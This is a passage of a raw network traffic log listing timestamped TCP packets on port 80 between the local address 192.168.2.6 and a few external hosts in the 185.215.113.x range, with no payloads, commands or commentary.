Oct 24, 2024 04:58:07.618482113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.618515968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.618554115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.657438040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657493114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.657495022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657532930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657567024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657579899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.657603979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657634020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657646894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.657670021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657701969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657713890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.657741070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.657785892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.658463955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658516884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658554077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658571005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.658588886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658622026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658632994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.658658028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.658756971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.737637997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.737658024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.737679958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.737690926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.737711906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.737731934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.758523941 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:07.763937950 CEST	80	49995	185.215.113.37	192.168.2.6
Oct 24, 2024 04:58:07.764113903 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:07.764905930 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:07.771378040 CEST	80	49995	185.215.113.37	192.168.2.6
Oct 24, 2024 04:58:07.776567936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776604891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776616096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776628017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776657104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.776700020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.776731014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776746035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776760101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776791096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.776977062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.776988983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.777002096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.777024984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.777050972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.777220964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.777240038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.777266979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.777288914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.818255901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.818275928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.818289995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.818326950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.818370104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.856899023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.856933117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.856944084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.856991053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896058083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896090984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896104097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896116018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896126986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896138906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896143913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896155119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896198034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896226883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896497011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896509886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896548033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896606922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896621943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896636009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896656990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896825075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.896874905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.896894932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.937936068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.937958002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.937974930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.938030005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.938086033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.976593971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.976620913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.976643085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.976691961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.015379906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015408039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015420914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015441895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015441895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.015458107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015466928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015480042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015492916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.015516996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.015933037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015944958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015958071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015970945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.015985966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.016021013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.057128906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.057174921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.057188988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.057238102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.062380075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.062400103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.062413931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.062433958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.062473059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.095717907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.095733881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.095746040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.096069098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.137044907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.137145996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.137175083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.137198925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.137213945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.137253046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.144010067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.144032001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.144047976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.144068003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.144081116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.144123077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.150955915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.150971889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.150985956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.151015043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.151093960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.176527977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.176548958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.176565886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.176592112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.215039968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.215123892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.216778040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.216793060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.216882944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.253118992 CEST	80	49994	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:08.253245115 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:08.254005909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254034042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254050970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254076004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.254379988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254395008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254417896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254425049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.254434109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254450083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254456997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.254467010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254482031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.254483938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254518986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.254717112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254755974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254771948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.254793882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.257144928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.259056091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.259069920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.259098053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.262959957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.263032913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.263292074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.268639088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.296159029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.296181917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.296205997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.296209097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.296250105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.334233046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.334256887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.334273100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.334302902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.373363972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373394012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373403072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.373418093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373435974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373450994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373461008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.373493910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.373625040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373639107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373656988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373668909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373680115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.373682976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.373699903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.374099970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.374119997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.374134064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.374146938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.374167919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.415756941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.415771961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.415807009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.416578054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.416719913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.416731119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.416743040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.416760921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.416774035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.453599930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.453628063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.453644037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.453665972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.492707968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492731094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492770910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.492796898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492820978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492835999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.492836952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492852926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492868900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.492875099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.492912054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.493237019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493249893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493261099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493274927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493283987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.493318081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493323088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.493333101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.493376970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.534440041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.534507036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.534524918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.534554005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.572875977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.572917938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.572930098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.572957039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.572964907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.572978020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.572982073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.572992086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.573018074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612082958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612109900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612123966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612131119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612140894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612164021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612220049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612237930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612251997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612252951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612266064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612289906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612296104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612309933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612329960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612857103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612870932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612884998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.612895012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.612915993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.653517962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.653533936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.653553009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.653595924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.662820101 CEST	80	49995	185.215.113.37	192.168.2.6
Oct 24, 2024 04:58:08.662884951 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:08.665848017 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:08.671236038 CEST	80	49995	185.215.113.37	192.168.2.6
Oct 24, 2024 04:58:08.692368984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.692384005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.692397118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.692408085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.692421913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.692433119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.692476034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.731604099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731650114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731661081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731703043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.731710911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731723070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731734037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.731756926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.731777906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.732084036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732167959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732180119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732192039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732203960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732213020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.732218027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.732239962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.732254028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.772969007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.772993088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.773005009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.773035049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.811446905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811492920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811502934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811552048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811563969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811573982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.811755896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.850770950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.850784063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.850795031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.850821018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.850910902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.850951910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.850994110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851006031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851018906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851030111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851042986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.851064920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.851365089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851377010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851388931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851399899 CEST	80	49774	185.215.113.16	192.168.2.6
